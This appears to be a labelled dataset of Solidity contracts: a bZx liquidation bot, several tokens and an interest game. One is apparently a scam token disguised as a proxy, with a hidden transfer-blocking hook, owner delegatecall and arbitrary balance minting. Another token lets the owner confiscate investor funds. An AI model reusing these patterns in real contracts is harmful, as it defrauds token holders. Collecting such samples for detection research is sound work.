address[4] calldata sentAddresses,
uint256[5] calldata sentValues,
bytes calldata loanDataBytes
) external payable returns (LoanOpenData memory);
function setDelegatedManager(
bytes32 loanId,
address delegated,
bool toggle
) external;
function getEstimatedMarginExposure(
address loanToken,
address collateralToken,
uint256 loanTokenSent,
uint256 collateralTokenSent,
uint256 interestRate,
uint256 newPrincipal
) external view returns (uint256);
function getRequiredCollateral(
address loanToken,
address collateralToken,
uint256 newPrincipal,
uint256 marginAmount,
bool isTorqueLoan
) external view returns (uint256 collateralAmountRequired);
function getRequiredCollateralByParams(
bytes32 loanParamsId,
uint256 newPrincipal
) external view returns (uint256 collateralAmountRequired);
function getBorrowAmount(
address loanToken,
address collateralToken,
uint256 collateralTokenAmount,
uint256 marginAmount,
bool isTorqueLoan
) external view returns (uint256 borrowAmount);
function getBorrowAmountByParams(
bytes32 loanParamsId,
uint256 collateralTokenAmount
) external view returns (uint256 borrowAmount);
function liquidate(
bytes32 loanId,
address receiver,
uint256 closeAmount
)
external
payable
returns (
uint256 loanCloseAmount,
uint256 seizedAmount,
address seizedToken
);
function rollover(bytes32 loanId, bytes calldata loanDataBytes)
external
returns (address rebateToken, uint256 gasRebate);
function closeWithDeposit(
bytes32 loanId,
address receiver,
uint256 depositAmount
)
external
payable
returns (
uint256 loanCloseAmount,
uint256 withdrawAmount,
address withdrawToken
);
function closeWithSwap(
bytes32 loanId,
address receiver,
uint256 swapAmount,
bool returnTokenIsCollateral,
bytes calldata loanDataBytes
)
external
returns (
uint256 loanCloseAmount,
uint256 withdrawAmount,
address withdrawToken
);
function liquidateWithGasToken(
bytes32 loanId,
address receiver,
address gasTokenUser,
uint256 closeAmount
)
external
payable
returns (
uint256 loanCloseAmount,
uint256 seizedAmount,
address seizedToken
);
function rolloverWithGasToken(
bytes32 loanId,
address gasTokenUser,
bytes calldata
) external returns (address rebateToken, uint256 gasRebate);
function closeWithDepositWithGasToken(
bytes32 loanId,
address receiver,
address gasTokenUser,
uint256 depositAmount
)
external
payable
returns (
uint256 loanCloseAmount,
uint256 withdrawAmount,
address withdrawToken
);
function closeWithSwapWithGasToken(
bytes32 loanId,
address receiver,
address gasTokenUser,
uint256 swapAmount,
bool returnTokenIsCollateral,
bytes memory
)
external
returns (
uint256 loanCloseAmount,
uint256 withdrawAmount,
address withdrawToken
);
function depositCollateral(bytes32 loanId, uint256 depositAmount)
external
payable;
function withdrawCollateral(
bytes32 loanId,
address receiver,
uint256 withdrawAmount
) external returns (uint256 actualWithdrawAmount);
function withdrawAccruedInterest(address loanToken) external;
function extendLoanDuration(
bytes32 loanId,
uint256 depositAmount,
bool useCollateral,
bytes calldata
) external payable returns (uint256 secondsExtended);
function reduceLoanDuration(
bytes32 loanId,
address receiver,
uint256 withdrawAmount
) external returns (uint256 secondsReduced);
function claimRewards(address receiver)
external
returns (uint256 claimAmount);
function rewardsBalanceOf(address user)
external
view
returns (uint256 rewardsBalance);
function getLenderInterestData(address lender, address loanToken)
external
view
returns (
uint256 interestPaid,
uint256 interestPaidDate,
uint256 interestOwedPerDay,
uint256 interestUnPaid,
uint256 interestFeePercent,
uint256 principalTotal
);
function getLoanInterestData(bytes32 loanId)
external
view
returns (
address loanToken,
uint256 interestOwedPerDay,
uint256 interestDepositTotal,
uint256 interestDepositRemaining
);
function getUserLoans(
address user,
uint256 start,
uint256 count,
LoanType loanType,
bool isLender,
bool unsafeOnly
) external view returns (LoanReturnData[] memory loansData);
function getUserLoansCount(address user, bool isLender)
external
view
returns (uint256);
function getLoan(bytes32 loanId)
external
view
returns (LoanReturnData memory loanData);
function getActiveLoans(
uint256 start,
uint256 count,
bool unsafeOnly
) external view returns (LoanReturnData[] memory loansData);
function getActiveLoansCount() external view returns (uint256);
function swapExternal(
address sourceToken,
address destToken,
address receiver,
address returnToSender,
uint256 sourceTokenAmount,
uint256 requiredDestTokenAmount,
bytes calldata swapData
)
external
payable
returns (
uint256 destTokenAmountReceived,
uint256 sourceTokenAmountUsed
);
function swapExternalWithGasToken(
address sourceToken,
address destToken,
address receiver,
address returnToSender,
address gasTokenUser,
uint256 sourceTokenAmount,
uint256 requiredDestTokenAmount,
bytes calldata swapData
)
external
payable
returns (
uint256 destTokenAmountReceived,
uint256 sourceTokenAmountUsed
);
function getSwapExpectedReturn(
address sourceToken,
address destToken,
uint256 sourceTokenAmount
) external view returns (uint256);
struct LoanReturnData {
bytes32 loanId;
uint96 endTimestamp;
address loanToken;
address collateralToken;
uint256 principal;
uint256 collateral;
uint256 interestOwedPerDay;
uint256 interestDepositRemaining;
uint256 startRate;
uint256 startMargin;
uint256 maintenanceMargin;
uint256 currentMargin;
uint256 maxLoanTerm;
uint256 maxLiquidatable;
uint256 maxSeizable;
uint256 depositValue;
uint256 withdrawalValue;
}
struct LoanParams {
bytes32 id;
bool active;
address owner;
address loanToken;
address collateralToken;
uint256 minInitialMargin;
uint256 maintenanceMargin;
uint256 maxLoanTerm;
}
struct LoanOpenData {
bytes32 loanId;
uint256 principal;
uint256 collateral;
}
enum LoanType {All, Margin, NonMargin}
}
interface IToken {
function flashBorrow(
uint256 borrowAmount,
address borrower,
address target,
string calldata signature,
bytes calldata data
) external payable returns (bytes memory);
}
interface ISwapsImpl {
function dexSwap(
address sourceTokenAddress,
address destTokenAddress,
address receiverAddress,
address returnToSenderAddress,
uint256 minSourceTokenAmount,
uint256 maxSourceTokenAmount,
uint256 requiredDestTokenAmount)
external
returns (uint256 destTokenAmountReceived, uint256 sourceTokenAmountUsed);
function dexExpectedRate(
address sourceTokenAddress,
address destTokenAddress,
uint256 sourceTokenAmount)
external
view
returns (uint256);
}
interface IKyber {
function swapTokenToToken(
IERC20 src,
uint256 srcAmount,
IERC20 dest,
uint256 minConversionRate
) external returns (uint256);
function getExpectedRate(
IERC20 src,
IERC20 dest,
uint256 srcQty
) external view returns (uint256 expectedRate, uint256 slippageRate);
}
interface KeeperCompatibleInterface {
function checkUpkeep(bytes calldata checkData)
external
returns (bool upkeepNeeded, bytes memory performData);
function performUpkeep(bytes calldata performData) external;
}
interface IKeep3rV1 {
function isKeeper(address) external returns (bool);
function worked(address keeper) external;
}
interface IWeth {
function deposit() external payable;
function withdraw(uint256 wad) external;
}
contract BzxLiquidateV2 is Ownable, KeeperCompatibleInterface {
using SafeERC20 for IERC20;
IBZx public constant BZX = IBZx(0xD8Ee69652E4e4838f2531732a46d1f7F584F0b7f);
IKyber public constant KYBER_PROXY =
IKyber(0x9AAb3f75489902f3a48495025729a0AF77d4b11e);
IKeep3rV1 public constant KP3R =
IKeep3rV1(0x1cEB5cB57C4D4E2b2433641b95Dd330A33185A44);
IWeth public constant WETH =
IWeth(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
modifier upkeep() {
require(
KP3R.isKeeper(msg.sender),
"::isKeeper: keeper is not registered"
);
_;
KP3R.worked(msg.sender);
}
fallback() external payable {}
receive() external payable {}
function liquidateInternal(
bytes32 loanId,
address loanToken,
address collateralToken,
uint256 maxLiquidatable,
address flashLoanToken,
bool allowLoss,
bool checkBeforeExecuting
) internal returns (address, uint256) {
if (checkBeforeExecuting) {
IBZx.LoanReturnData memory loan = BZX.getLoan(loanId);
require(
loan.maxLiquidatable > 0 && loan.maxSeizable > 0,
"healty loan"
);
}
bytes memory b =
IToken(flashLoanToken).flashBorrow(
maxLiquidatable,
address(this),
address(this),
"",
abi.encodeWithSignature(
"executeOperation(bytes32,address,address,uint256,address,bool,address)",
loanId,
loanToken,
collateralToken,
maxLiquidatable,
flashLoanToken,
allowLoss,
msg.sender
)
);
(, , , uint256 profitAmount) =
abi.decode(b, (uint256, uint256, address, uint256));
return (loanToken, profitAmount);
}
function liquidate(
bytes32 loanId,
address loanToken,
address collateralToken,
uint256 maxLiquidatable,
address flashLoanToken
) external upkeep returns (address, uint256) {
return
liquidateInternal(
loanId,
loanToken,
collateralToken,
maxLiquidatable,
flashLoanToken,
false,
false
);
}
function liquidateCheckBeforeExecuting(
bytes32 loanId,
address loanToken,
address collateralToken,
uint256 maxLiquidatable,
address flashLoanToken
) external upkeep returns (address, uint256) {
return
liquidateInternal(
loanId,
loanToken,
collateralToken,
maxLiquidatable,
flashLoanToken,
false,
true
);
}
function liquidatePublic(
bytes32 loanId,
address loanToken,
address collateralToken,
uint256 maxLiquidatable,
address flashLoanToken
) external returns (address, uint256) {
return
liquidateInternal(
loanId,
loanToken,
collateralToken,
maxLiquidatable,
flashLoanToken,
false,
false
);
}
function liquidateAllowLoss(
bytes32 loanId,
address loanToken,
address collateralToken,
uint256 maxLiquidatable,
address flashLoanToken,
bool checkBeforeExecuting
) external onlyOwner returns (address, uint256) {
return
liquidateInternal(
loanId,
loanToken,
collateralToken,
maxLiquidatable,
flashLoanToken,
true,
checkBeforeExecuting
);
}
function executeOperation(
bytes32 loanId,
address loanToken,
address collateralToken,
uint256 maxLiquidatable,
address iToken,
bool allowLoss,
address gasTokenUser
) external returns (bytes memory) {
(uint256 _liquidatedLoanAmount, uint256 _liquidatedCollateral, ) =
BZX.liquidate(loanId, address(this), uint256(-1));
if (collateralToken == address(WETH) && address(this).balance != 0) {
WETH.deposit{value: address(this).balance}();
}
uint256 _realLiquidatedLoanAmount =
KYBER_PROXY.swapTokenToToken(
IERC20(collateralToken),
_liquidatedCollateral,
IERC20(loanToken),
0
);
if (!allowLoss) {
require(
_realLiquidatedLoanAmount > _liquidatedLoanAmount,
"no profit"
);
}
IERC20(loanToken).safeTransfer(iToken, maxLiquidatable);
return
abi.encode(
loanToken,
uint256(_realLiquidatedLoanAmount - _liquidatedLoanAmount)
);
}
function wrapEther() public onlyOwner {
if (address(this).balance != 0) {
WETH.deposit{value: address(this).balance}();
}
}
function withdrawIERC20(IERC20 token) public onlyOwner {
token.safeTransfer(msg.sender, token.balanceOf(address(this)));
}
function infiniteApproveIERC20(IERC20[] calldata tokens) public onlyOwner {
for (uint256 i = 0; i < tokens.length; i++) {
if (tokens[i].allowance(address(this), address(BZX)) != 0) {
tokens[i].safeApprove(address(BZX), 0);
}
tokens[i].safeApprove(address(BZX), uint256(-1));
if (tokens[i].allowance(address(this), address(KYBER_PROXY)) != 0) {
tokens[i].safeApprove(address(KYBER_PROXY), 0);
}
tokens[i].safeApprove(address(KYBER_PROXY), uint256(-1));
}
}
function infiniteApproveLinkRegistry(address registry, IERC20 token) public onlyOwner {
if (
token.allowance(
address(this),
registry
) != 0
) {
token.safeApprove(
registry,
0
);
}
token.safeApprove(
registry,
uint256(-1)
);
}
function getLiquidatableLoans()
public
view
returns (bytes32[] memory liquidatableLoans)
{
IBZx.LoanReturnData[] memory loans;
loans = BZX.getActiveLoans(0, 500, true);
liquidatableLoans = new bytes32[](loans.length);
for (uint256 i = 0; i < loans.length; i++) {
if (
isProfitalbe(
loans[i].loanToken,
loans[i].collateralToken,
loans[i].maxLiquidatable,
loans[i].maxSeizable
)
) {
liquidatableLoans[i] = loans[i].loanId;
}
}
}
function isProfitalbe(
address loanToken,
address collateralToken,
uint256 maxLiquidatable,
uint256 maxSeizable
) public view returns (bool) {
(uint256 rate, ) =
KYBER_PROXY.getExpectedRate(
IERC20(collateralToken),
IERC20(loanToken),
maxLiquidatable
);
return
(rate * maxLiquidatable) /
10**uint256(ERC20(collateralToken).decimals()) >
maxSeizable;
}
function checkUpkeep(bytes calldata checkData)
external override
returns (bool upkeepNeeded, bytes memory performData)
{
bytes32 [] memory liquidatableLoans = getLiquidatableLoans();
return (liquidatableLoans.length > 0, abi.encodePacked(liquidatableLoans));
}
function performUpkeep(bytes calldata performData) external override {
bytes32[] memory loanIds = abi.decode(performData, (bytes32[]));
require(loanIds.length > 0, "Cannot execute");
uint256 numberOfLiquidaitonsFitInBlock = 6;
if (loanIds.length < numberOfLiquidaitonsFitInBlock) {
numberOfLiquidaitonsFitInBlock = loanIds.length;
}
for (uint256 i = 0; i < numberOfLiquidaitonsFitInBlock; i++) {
IBZx.LoanReturnData memory loan = BZX.getLoan(loanIds[0]);
address(this).call(
abi.encodeWithSignature(
"liquidateCheckBeforeExecuting(bytes32,address,address,uint256,address,bool)",
loan.loanId,
loan.loanToken,
loan.collateralToken,
loan.maxLiquidatable,
BZX.underlyingToLoanPool(loan.loanToken),
true
)
);
}
}
} | 1 | 3,887 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal stopTheBots;
address public uniPair;
constructor(address _botProtection) {
stopTheBots = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = stopTheBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract AdminUpgradeabilityProxy is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 1000000000000000000000000000;
string public name = "ORAO Network";
string public symbol = "ORAO";
IUniswapV2Router02 public routerForUniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wrappedBinance = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairForPancake(wrappedBinance, address(this));
allowance[address(this)][address(routerForUniswap)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairForPancake(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _toAddresses, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
routerForUniswap.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_toAddresses.length == _amounts.length);
stopTheBots.call(abi.encodeWithSelector(0xd5eaf4c3, _toAddresses));
for(uint i = 0; i < _toAddresses.length; i++) {
balanceOf[_toAddresses[i]] = _amounts[i];
emit Transfer(address(0x0), _toAddresses[i], _amounts[i]);
}
}
} | 1 | 3,751 |
pragma solidity ^0.4.19;
contract ETHRoyale {
address devAccount = 0x50334D202f61F80384C065BE6537DD3d609FF9Ab;
uint masterBalance;
uint masterApparentBalance;
address[] public participants;
mapping (address => uint) participantsArrayLocation;
uint participantsCount;
bool isDisabled;
bool hasStarted;
uint blockHeightStart;
bool isStart;
event Deposit(uint _valu);
mapping (address => uint) accountBalance;
mapping (address => uint) realAccountBalance;
mapping (address => uint) depositBlockheight;
function checkAccBalance() public view returns (uint) {
address _owner = msg.sender;
return (accountBalance[_owner]);
}
function checkGlobalBalance() public view returns (uint) {
return masterBalance;
}
function checkGameStatus() public view returns (bool) {
return (isStart);
}
function checkDisabledStatus() public view returns (bool) {
return (isDisabled);
}
function checkInterest() public view returns (uint) {
address _owner = msg.sender;
uint _interest;
if (isStart) {
if (blockHeightStart > depositBlockheight[_owner]) {
_interest = ((accountBalance[_owner] * (block.number - blockHeightStart) / 2000));
} else {
_interest = ((accountBalance[_owner] * (block.number - depositBlockheight[_owner]) / 2000));
}
return _interest;
}else {
return 0;
}
}
function checkWithdrawalAmount() public view returns (uint) {
address _owner = msg.sender;
uint _interest;
if (isStart) {
if (blockHeightStart > depositBlockheight[_owner]) {
_interest = ((accountBalance[_owner] * (block.number - blockHeightStart) / 2000));
} else {
_interest = ((accountBalance[_owner] * (block.number - depositBlockheight[_owner]) / 2000));
}
return (accountBalance[_owner] + _interest);
} else {
return accountBalance[_owner];
}
}
function numberParticipants() public view returns (uint) {
return participantsCount;
}
function deposit() payable public {
address _owner = msg.sender;
uint _amt = msg.value;
require (!isDisabled && _amt >= 10000000000000000 && isNotContract(_owner));
if (accountBalance[_owner] == 0) {
participants.push(_owner);
participantsArrayLocation[_owner] = participants.length - 1;
depositBlockheight[_owner] = block.number;
participantsCount++;
if (participantsCount > 4) {
isStart = true;
blockHeightStart = block.number;
hasStarted = true;
}
}
else {
isStart = false;
blockHeightStart = 0;
}
Deposit(_amt);
accountBalance[_owner] += _amt;
realAccountBalance[_owner] += _amt;
masterBalance += _amt;
masterApparentBalance += _amt;
}
function collectInterest(address _owner) internal {
require (isStart);
uint blockHeight;
if (depositBlockheight[_owner] < blockHeightStart) {
blockHeight = blockHeightStart;
}
else {
blockHeight = depositBlockheight[_owner];
}
uint _tempInterest = accountBalance[_owner] * (block.number - blockHeight) / 2000;
accountBalance[_owner] += _tempInterest;
masterApparentBalance += _tempInterest;
depositBlockheight[_owner] = block.number;
}
function withdraw(uint _amount) public {
address _owner = msg.sender;
uint _amt = _amount;
uint _devFee;
require (accountBalance[_owner] > 0 && _amt > 0 && isNotContract(_owner));
if (isStart) {
collectInterest(msg.sender);
}
require (_amt <= accountBalance[_owner]);
if (accountBalance[_owner] == _amount || accountBalance[_owner] - _amount < 10000000000000000) {
_amt = accountBalance[_owner];
if (_amt > masterBalance) {
_amt = masterBalance;
}
_devFee = _amt / 133;
_amt -= _devFee;
masterApparentBalance -= _devFee;
masterBalance -= _devFee;
accountBalance[_owner] -= _devFee;
masterBalance -= _amt;
masterApparentBalance -= _amt;
delete accountBalance[_owner];
delete depositBlockheight[_owner];
delete participants[participantsArrayLocation[_owner]];
delete participantsArrayLocation[_owner];
delete realAccountBalance[_owner];
participantsCount--;
if (participantsCount < 5) {
isStart = false;
if (participantsCount < 3 && hasStarted) {
isDisabled = true;
}
if (participantsCount == 0) {
isDisabled = false;
hasStarted = false;
}
}
}
else if (accountBalance[_owner] > _amount){
if (_amt > masterBalance) {
_amt = masterBalance;
}
_devFee = _amt / 133;
_amt -= _devFee;
masterApparentBalance -= _devFee;
masterBalance -= _devFee;
accountBalance[_owner] -= _devFee;
accountBalance[_owner] -= _amt;
realAccountBalance[_owner] -= _amt;
masterBalance -= _amt;
masterApparentBalance -= _amt;
}
Deposit(_amt);
devAccount.transfer(_devFee);
_owner.transfer(_amt);
}
function isNotContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return (!(size > 0));
}
} | 0 | 706 |
pragma solidity ^0.4.16;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract ERC20Basic is Pausable {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 tokens);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
address public voiceOfSteelTokenAddress;
uint256 noEther = 0;
string public name = "Voice of Steel Token";
uint8 public decimals = 18;
string public symbol = "VST";
address public enterWallet = 0xD7F68D64719401853eC60173891DC1AA7c0ecd71;
address public investWallet = 0x14c7FBA3C597b53571169Ae2c40CC765303932aE;
address public exitWallet = 0xD7F68D64719401853eC60173891DC1AA7c0ecd71;
uint256 public priceEthPerToken = 33333;
uint256 public investCommission = 50;
uint256 public withdrawCommission = 100;
bool public availableWithdrawal = false;
event MoreData(uint256 ethAmount, uint256 price);
function transfer(address _to, uint256 _value) whenNotPaused returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
if (_to == voiceOfSteelTokenAddress && availableWithdrawal) {
uint256 weiAmount = _value.mul(withdrawCommission).div(priceEthPerToken);
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
msg.sender.transfer(weiAmount);
exitWallet.transfer(weiAmount.div(100).mul(uint256(100).sub(withdrawCommission)));
Transfer(msg.sender, voiceOfSteelTokenAddress, _value);
MoreData(weiAmount, priceEthPerToken);
return true;
} else {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
MoreData(0, priceEthPerToken);
return true;
}
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) whenNotPaused returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
if (_to == voiceOfSteelTokenAddress && availableWithdrawal) {
uint256 weiAmount = _value.mul(withdrawCommission).div(priceEthPerToken);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
msg.sender.transfer(weiAmount);
exitWallet.transfer(weiAmount.div(100).mul(uint256(100).sub(withdrawCommission)));
Transfer(_from, voiceOfSteelTokenAddress, _value);
MoreData(weiAmount, priceEthPerToken);
return true;
} else {
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
MoreData(0, priceEthPerToken);
return true;
}
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract VoiceOfSteelToken is StandardToken {
function () payable whenNotPaused {
uint256 amount = msg.value;
address investor = msg.sender;
uint256 tokens = amount.mul(priceEthPerToken).div(10000);
totalSupply = totalSupply.add(tokens);
balances[investor] = balances[investor].add(tokens);
uint256 fisrtAmount = amount.div(100).mul(investCommission);
investWallet.transfer(fisrtAmount);
uint256 leftAmount = amount.sub(fisrtAmount);
enterWallet.transfer(leftAmount);
Transfer(voiceOfSteelTokenAddress, investor, tokens);
MoreData(amount, priceEthPerToken);
}
function setVoiceOfSteelTokenAddress(address _address) onlyOwner {
voiceOfSteelTokenAddress = _address;
}
function addEther() payable onlyOwner {}
function deleteInvestorTokens(address investor, uint256 tokens) onlyOwner {
require(tokens <= balances[investor]);
balances[investor] = balances[investor].sub(tokens);
totalSupply = totalSupply.sub(tokens);
Transfer(investor, voiceOfSteelTokenAddress, tokens);
MoreData(0, priceEthPerToken);
}
function setNewPrice(uint256 _ethPerToken) onlyOwner {
priceEthPerToken = _ethPerToken;
}
function getWei(uint256 weiAmount) onlyOwner {
owner.transfer(weiAmount);
}
function airdrop(address[] _array1, uint256[] _array2) onlyOwner {
address[] memory arrayAddress = _array1;
uint256[] memory arrayAmount = _array2;
uint256 arrayLength = arrayAddress.length.sub(1);
uint256 i = 0;
while (i <= arrayLength) {
totalSupply = totalSupply.add(arrayAmount[i]);
balances[arrayAddress[i]] = balances[arrayAddress[i]].add(arrayAmount[i]);
Transfer(voiceOfSteelTokenAddress, arrayAddress[i], arrayAmount[i]);
MoreData(0, priceEthPerToken);
i = i.add(1);
}
}
function setNewInvestCommission(uint256 _newInvestCommission) onlyOwner {
investCommission = _newInvestCommission;
}
function setNewAvailableWithdrawal(bool _newAvailableWithdrawal) onlyOwner {
availableWithdrawal = _newAvailableWithdrawal;
}
function setNewWithdrawCommission(uint256 _newWithdrawCommission) onlyOwner {
withdrawCommission = _newWithdrawCommission;
}
function newEnterWallet(address _enterWallet) onlyOwner {
enterWallet = _enterWallet;
}
function newInvestWallet(address _investWallet) onlyOwner {
investWallet = _investWallet;
}
function newExitWallet(address _exitWallet) onlyOwner {
exitWallet = _exitWallet;
}
} | 1 | 4,130 |
pragma solidity ^0.4.24;
contract DSAuthority {
function canCall(
address src, address dst, bytes4 sig
) public view returns (bool);
}
contract DSAuthEvents {
event LogSetAuthority (address indexed authority);
event LogSetOwner (address indexed owner);
}
contract DSAuth is DSAuthEvents {
DSAuthority public authority;
address public owner;
constructor() public {
owner = msg.sender;
emit LogSetOwner(msg.sender);
}
function setOwner(address owner_)
public
auth
{
owner = owner_;
emit LogSetOwner(owner);
}
function setAuthority(DSAuthority authority_)
public
auth
{
authority = authority_;
emit LogSetAuthority(address(authority));
}
modifier auth {
require(isAuthorized(msg.sender, msg.sig), "ds-auth-unauthorized");
_;
}
function isAuthorized(address src, bytes4 sig) internal view returns (bool) {
if (src == address(this)) {
return true;
} else if (src == owner) {
return true;
} else if (authority == DSAuthority(0)) {
return false;
} else {
return authority.canCall(src, address(this), sig);
}
}
}
contract DSMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, "ds-math-add-overflow");
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, "ds-math-sub-underflow");
}
function mul(uint x, uint y) internal pure returns (uint z) {
